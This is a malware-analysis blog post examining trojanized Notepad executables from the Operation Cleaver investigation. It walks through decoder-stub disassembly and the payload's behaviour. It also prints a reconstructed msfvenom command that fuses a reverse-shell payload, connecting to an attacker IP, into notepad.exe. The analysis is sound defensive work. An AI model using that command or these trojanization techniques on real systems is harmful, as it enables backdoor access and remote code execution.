Operation Cleaver: The Notepad Files

By Derek Soeder

December 5, 2014

You see some strange stuff out there on the networks where attackers are active. Certainly the stash of files unearthed during the Operation Cleaver investigation included much of the bizarre and something of the terrible. Brian Wallace, who led the investigation, shared a mysterious set of samples with me awhile back, and now that Operation Cleaver is public, I'll relate the lurid technical details.

The Notepad Files

The files in question were found in a dim and dusty directory on a forlorn FTP server in the US, commingled with the detritus of past attack campaigns and successful compromises. They were at once familiar and strange, and they were made still stranger and more perplexing by their location and the circumstances of their discovery. All around them was a clutter of credential dumps, hacking utilities, RATs, and even legitimate software installers, but the files in question were none of these. They were Notepad.



Figure 1. The Notepad Doppelgängers.

Of course, a purloined Notepad icon in malware is nothing new, but something different was going on here. Within each of the two families, all of the samples had the same main icon, file size, and version information, yet each one had a distinct hash. At the time, only one of those five hashes existed on the internet: the official 32-bit Simplified Chinese Notepad from Windows XP x64 / Windows Server 2003. Suspecting that the remaining Notepads were derivatives of official Windows files, we associated the other member of the first family with the confirmed legitimate Notepad, and we matched the second family with the 32-bit US English Notepad from Windows 7 (not present in the original set).

MD5	File Name	File Size	File Version
83868cdff62829fe3b897e2720204679	notepad.exe	66,048	5.2.3790.3959, Chinese (Simplified, PRC)
bfc59f1f442686af73704eff6c0226f0	NOTEPAD2.EXE	179,712	6.1.7600.16385, English (United States)

e8ea10d5cde2e8661e9512fb684c4c98	Notepad3.exe	179,712	6.1.7600.16385, English (United States)
baa76a571329cdc4d7e98c398d80450c	Notepad4.exe	66,048	5.2.3790.3959, Chinese (Simplified, PRC)
19d9b37d3acf3468887a4d41bf70e9aa	notepad10.exe	179,712	6.1.7600.16385, English (United States
d378bffb70923139d6a4f546864aa61c	--	179,712	6.1.7600.16385, English (United States)

Table 1. A summary of Notepad samples dug from the attackers' FTP drop, with the official Windows 7 Notepad appearing at bottom. It and the official Windows XP/2003 Notepad are represented in green.

Things got interesting when we started comparing the Notepads at the byte level. The image below depicts some byte differences between the original Windows 7 Notepad and samples NOTEPAD2.EXE and Notepad3.exe:





Figure 2. Comparison of the Windows 7 Notepad (green channel), NOTEPAD2.EXE (red channel), and Notepad3.exe (blue channel).

At the Portable Executable (PE) level, these differences translate to changes in the files' timestamps (IMAGE_NT_HEADERS.FileHeader.TimeDateStamp, offset 0xE8 in the figure above), the relative virtual addresses (RVAs) of their entry points (IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint, offset 0x108), and their checksums (IMAGE_NT_HEADERS.OptionalHeader.CheckSum, offset 0x138). The timestamps were rolled back by weeks to months relative to the legitimate progenitors' timestamps; we don't know why. The entry points retreated or advanced by hundreds of bytes to dozens of kilobytes, for reasons we'll explore shortly. And the checksums were all zeroed out, presumably because the file modifications invalidate them, invalid non-zero checksums are a tip-off, and zeroing is easier than recomputing.

So what's the story with all those other modifications? In all cases they seem to be confined to the ".text" section, centrally located to avoid the import directory, debug directory, load configuration directory, and import address table. This makes sense as a general precaution, considering that corrupting the import directory would unhelpfully crash the Windows loader during process initialization. The following image illustrates the distribution of modifications relative to these structures.



Figure 3. File locations of modifications (red) and the PE structures they avoid (gray). From left to right, the four vertical bars represent the ".text" sections of NOTEPAD2.EXE, Notepad3.exe, Notepad4.exe, and notepad10.exe, as compared to the original Notepad from their respective families. The Import Address Table (IAT), original entry point (OEP, green), malware entry point (EP, yellow), load configuration directory (LC), import directory (Imp), and debug directory (Dbg) are labeled.

While the arrangement of the structures varies among families, it's clear from the figure above that the region between structures containing the original entry point has in each case been filled with modifications. Notably, each sample has a short run of consecutive modifications immediately following the new entry point, and then a longer run elsewhere in the region. Presumably, both runs are injected malicious code, and the other modifications may well be random noise intended as a distraction. Since there are no other changes and no appended data, it's reasonable to assume that the code that makes a Notepad act like Notepad is simply gone, and that the samples will behave only maliciously. If true, then these modifications would represent a backdooring or "Trojanization" rather than a parasitic infection, and this distinction implies certain things about how the Notepads were made and how they might be used.

Tales from the Code

Let's take a look at the entry point code of the malicious Notepads and see if it aligns with our observations. The short answer is, it looks like nonsense. Here's a snippet from Notepad4.exe:

```
010067E3    sbb    eax, 2C7AE239
010067E8    test   al, 80
010067EA    test   eax, 498DBAD5
010067F0    jle    short 01006831
010067F2    sub    eax, B69F4A73
010067F7    or     edx, esi
010067F9    jnz    short 01006800
010067FB    inc    ebx
010067FC    mov    cl, 91
010067FE    cwde
010067FF    jnp    short 01006803
```

At this point the code becomes difficult to list due to instruction scission, or branching into the middle of an instruction (analogous to a frameshift error in DNA translation, if that helps). For instance, the JNP instruction at 010067FF is a two-byte instruction, and the JNZ branch at 010067F9, if satisfied, jumps to the JNP instruction's second byte at 01006800. That byte begins a different two-byte instruction, which incorporates what would have otherwise been the first byte of the instruction after the JNP, meaning its successor will start in the middle of JNP's successor, and so on. The two execution paths usually (but don't necessarily) converge after a few instructions.

The outcome of these instructions depends on the initial state of the registers, which is technically undefined. Seeing code operate on undefined values typically suggests that the bytes aren't code after all and so shouldn't have been disassembled. But keep looking. Notice that there are no memory accesses (which could raise an access violation), no stack pointer manipulation (which could cause a stack overflow or underflow), no division instructions (which could raise a divide exception), no invalid or privileged instructions, no interrupts or indirect branches--really, no uncontrolled execution transfers of any kind. Even more tellingly, all the possible execution paths seem to eventually flow to this code:

```
01006877    mov    ch, 15
01006879    cmp    eax, 4941B62F
0100687E    xchg   eax, ebx
0100687F    mov    cl, 4B
```

```
0100687F    mov     cl, 4B
01006881    stc
01006882    wait
01006883    xchg    eax, ecx
01006884    inc     ebx
01006885    cld
01006886    db 67
01006887    aaa
01006888    cwde
01006889    sub     eax, 24401D66
0100688E    dec     eax
0100688F    add     al, F8
01006891    jmp     01005747

01005747    nop
01005748    jmp     01005758

01005758    cld
01005759    nop
0100575A    jmp     short 01005768

01005768    call    01005A70

01005A70    nop
01005A71    pop     ebp
01005A72    jmp     01005A85

01005A85    nop
01005A86    mov     esi, 000001A9
01005A8B    jmp     01005A99

01005A99    push    00000040
01005A9B    push    00001000
01005AA0    nop
01005AA1    jmp     01005AAF

01005AAF    push    esi
01005AB0    nop
01005AB1    jmp     01005AC2

01005AC2    push    0
01005AC4    push    E553A458
01005AC9    jmp     01005AD7

01005AD7    call    ebp
```

Here the gaps in the listing indicate when the disassembly follows an unconditional branch. The code seems to abruptly change character after the jump at 01006891, transitioning from gibberish to a string of short sequences connected by unconditional branches. This transition corresponds to a jump from the end of the short run of modifications (01006896) after the malware entry point to the beginning of the longer run of modifications (01005747) a few kilobytes before it. (See the third column in Figure 3.)

In the disassembly above, the first sequence of green lines is a clear CALL-POP pair intended to obtain a code address in a position-independent way. (An immediate address value marked with a relocation would be the orthodox way to obtain a code pointer, but preparing that would have involved modifying the ".reloc" section.) No way is this construct a coincidence. Furthermore, the blue lines strongly resemble the setup for a VirtualAlloc call (VirtualAlloc(NULL, 0x1A9, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) typical of a deobfuscation stub, and the second set of green lines invoke the CALL-POPped function pointer with what one might readily assume is a hash of the string "VirtualAlloc". (It is.)

There's plenty more to observe in the disassembly, but, let's fast-forward past it.

windbg -c "bp kernel32!VirtualAlloc ; g" Notepad4.exe...

```
Command
Breakpoint 0 hit
*** WARNING: Unable to verify checksum for image01000000
*** ERROR: Module load completed but symbols could not be loaded for image01000000
eax=769d1856 ebx=99b03c40 ecx=01005ad9 edx=e553a458 esi=000001a9 edi=00000000
eip=769d1856 esp=000cff78 ebp=0100576d iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
kernel32!VirtualAlloc:
769d1856 8bff            mov     edi,edi
0:000> dd @esp+4 l 4
000cff7c  00000000 000001a9 00001000 00000040
```

Figure 4. VirtualAlloc breakpoint hit. The parameters on the stack and the state of the registers are as expected.

g poi(@esp) ; ba w 1 @eax+@esi-1 ; g...

```
Command
0:000> g poi(@esp) ; ba w 1 @eax+@esi-1 ; g
Breakpoint 1 hit
eax=00100000 ebx=00100000 ecx=00000000 edx=0008e3c8 esi=01005d87 edi=001001a9
eip=01005b0d esp=000cff88 ebp=0100576d iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
image01000000+0x5b0d:
01005b0d 90              nop
```

Figure 5. Memory write (hardware) breakpoint hit after the last (0x1A9th) byte is written to allocated memory.

And now we can dump the extracted code from memory. It isn't immediately gratifying:

```
00100000      fabs
00100002      mov     edx, 4DF05534  ; = initial XOR key
```

```
00100007    fnstenv [esp-0C]     ; old trick to get EIP
0010000B    pop     eax
0010000C    sub     ecx, ecx
0010000E    mov     cl, 64        ; = length in DWORDs
00100010    xor     [eax+19], edx
00100013    add     edx, [eax+19]  ; XOR key is modified after each DWORD
00100016    add     eax, 4
00100019    db D6
```

The byte 0xD6 at address 00100019 doesn't disassemble, and there aren't any branches skipping over it. But check out the instructions just above it referencing "[eax+19]". The code is in a sense self-modifying, flowing right into a portion of itself that it XOR decodes. The first decoded instruction is "LOOP 00100010" (0xD6 ^ 0x34 = 0xE2, the opcode for LOOP), which will execute the XOR loop body 99 more times (CL - 1 = 0x63 = 99) and then fall through to the newly-decoded code.

When we run this decoding stub (which, come to find out, is Metasploit's "shikata ga nai" decoder stub) to completion, we're rewarded with... another decoding stub:

```
0010001B    fcmovu  st, st(1)  ; a different initial FPU instruction from above
0010001D    fnstenv [esp-0C]   ; different ordering of independent instructions
00100021    mov     ebx, C2208861  ; a different initial XOR key and register
00100026    pop     ebp        ; a different code pointer register
00100027    xor     ecx, ecx   ; XOR as an alternative to SUB for zeroing counter
00100029    mov     cl, 5D     ; a shorter length
0010002B    xor     [ebp+1A], ebx  ; decoding starts at a different offset
0010002E    add     ebx, [ebp+1A]
00100031    sub     ebp, FFFFFFFC  ; SUB -4 as an alternative to ADD +4
00100034    loop    000FFFCA   ; instruction is partly encoded
```

Here, the first byte to be XORed is the second byte of the LOOP instruction, hence the nonsensical destination apparent in the pre-decoding disassembly above. (For brevity, we cut each listing at the first sign of encoding.) Run that to completion, and then...

```
00100036    mov     edx, 463DC74D
0010003B    fcmovnbe st, st(0)
0010003D    fnstenv [esp-0C]
00100041    pop     eax
00100042    sub     ecx, ecx
00100044    mov     cl, 57  ; notice the length gets shorter each time
00100046    xor     [eax+12], edx
00100049    add     eax, 4
0010004C    add     ebx, ds:[47B3DFC9]  ; instruction is partly encoded
```

And then...

```
00100051        fcmovbe st, st(0)
00100053        mov     edx, 869A5D73
00100058        fnstenv [esp-0C]
0010005c        pop     eax
0010005d        sub     ecx, ecx
0010005f        mov     cl, 50
00100061        xor     [eax+18],edx
00100064        add     eax, 4
00100067        add     edx, [eax+67]  ; instruction is partly encoded
```

And then...

```
0010006C        mov     eax, E878CF4D
00100071        fcmovnbe st, st(4)
00100073        fnstenv [esp-0C]
00100077        pop     ebx
00100078        sub     ecx, ecx
0010007A        mov     cl, 49
0010007C        xor     [ebx+14], eax
0010007F        add     ebx, 4
00100082        add     eax, [ebx+10]
00100085        scasd  ; incorrect disassembly of encoded byte
```

Finally, at the end of six nested decoders, we see the light:

```
00100087        cld
00100088        call    00100116
0010008D        pushad
0010008E        mov     ebp, esp
00100090        xor     edx, edx
00100092        mov     edx, fs:[edx+30]  ; PTEB->ProcessEnvironmentBlock
00100096        mov     edx, [edx+0C]     ; PPEB->Ldr
00100099        mov     edx, [edx+14]     ; PPEB_LDR_DATA->InMemoryOrderModuleList
0010009C        mov     esi, [edx+28]     ; PLDR_MODULE.BaseDllName.Buffer
0010009F        movzx   ecx, word ptr [edx+26]  ; PLDR_MODULE.BaseDllName.Maxim
umLength
001000A3        xor     edi, edi
001000A5        xor     eax, eax
001000A7        lodsb
001000A8        cmp     al, 61  ; check for lowercase letter
001000AA        jl      001000ae
001000AC        sub     al, 20  ; convert to uppercase
```

```
001000AC       sub     al, 20 ; convert to uppercase
001000AE       ror     edi, 0D
001000B1       add     edi, eax
 ...
```

It looks like a call over a typical module or export lookup function. In fact, it is, and as the ROR-ADD pair suggests, it implements module name and export name hashing, the algorithms of which can be expressed as follows:

```
unsigned int GetModuleNameHash(PLDR_MODULE pLdrModule)
{
   unsigned int hash = 0;
   char * p = (char *) pLdrModule->BaseDllName->Buffer;
   for (int n = pLdrModule->BaseDllName->MaximumLength; n != 0; p++, n--)
   {
      char ch = *p;
      if (ch >= 'a') ch -= 0x20;
      hash = _rotr(hash, 13) + (unsigned char) ch;
   }
   return hash;
}

unsigned int GetExportNameHash(char *pszName)
{
   unsigned int hash = 0;
   for ( ; ; pszName++)
   {
      hash = _rotr(hash, 13) + (unsigned char) *pszName;
      if (*pszName == 0) break;
   }
   return hash;
}
```

Still, this is all just preamble. What is the point that it eventually gets to?

You'd be forgiven for assuming that the tremendous amount of effort poured into obfuscation means there's some treasure beyond all fables at the bottom of this erstwhile Notepad. Sorry. It just downloads and executes a block of raw code. (Spoiler: it's actually a Metasploit reverse connect stager.) Here is its behavior summarized as function calls:

```
kernel32!LoadLibraryA("ws2_32")
ws2_32!WSAStartup(...)
s = ws2_32!WSASocketA(AF_INET, SOCK_STREAM, ...)
```

```
s = ws2_32!WSASocketA(AF_INET, SOCK_STREAM, ...)
ws2_32!connect(s, { sin_family = AF_INET, sin_port = htons(12345), sin_addr = 108.17
5.152.230 }, 0x10)
ws2_32!recv(s, &cb, 4, 0)
p = kernel32!VirtualAlloc(NULL, cb, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
ws2_32!recv(s, p, cb, 0)
p()
```

The above is known to be true for Notepad3.exe, Notepad4.exe, and notepad10.exe. NOTEPAD2.EXE doesn't seem to want to run, for reasons we didn't bother to troubleshoot for the bad guys.

Denouement

Unfortunately, we never did obtain a sample of the code that might have been downloaded. The key to that enigma-embedded, mystery-wrapped riddle is forever lost to us. The best we can do is read what's written in the Notepads and speculate as to why they exist at all.

Clearly whatever generator created these Notepads is far, far beyond the technical understanding of the Cleaver team. It stands to reason that there is a generator--no chance these were crafted by hand--and that its sophistication is even greater than that of its output. Something like that wouldn't be used only once. Something like that, if this team was able to get ahold of it, must be out there. Turn the right corner of the internet, and you can find anything...□

Well it so happens that we did eventually find it. Some of you have no doubt suspected□ it all along, and now I'll humbly confirm it for you: the Notepads were, in their entirety,□ generated by Metasploit. Something along the lines of "msfvenom -x notepad.exe -p windows/shell/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=108.175.152.230 LPORT=12345 > Notepad4.exe". The "msfvenom" tool transmogrifies a Metasploit□ payload into a standalone EXE, and with the "-x" switch, it'll fuse the payload--encoded as desired--into a copy of an existing executable, exhibiting exactly the behavior we just described. Omne ignotum pro magnifico□Perhaps the more bizarre a thing is, the less mysterious it proves to be.

However, we're still left to wonder what Cleaver was up to when they generated all those Notepads. One conclusion Brian proposed is that they're intended as backdoors--replacements for the legitimate Notepad on a compromised system--which would enable Cleaver to regain access to a system at some indeterminate time in the future, the next time a user runs Notepad. The team demonstrated a similarly intentioned tactic with a connect-back shell scheduled to run in a six-minute window each night; the Notepad replacement, while more intrusive, could be another example of this contingency planning tendency.

Or maybe the Notepads were only an aborted experiment, attempted and shelved, forgotten in a flurry of compromises and criminal activity. If nothing else, they made for an unexpected bit of mystery.

Tags: Operation Cleaver

« Back to Blog

Blog

AI vs. AV - Gorillas and Germans and Gartner, oh my

By: Stuart McClure

The Unbelievable Tour

18201 Von Karman, Suite 700
Irvine, CA 92612
USA

Call Us: 1-844-CYLANCE
1-844-295-2623

Get Support: 1-866-699-9689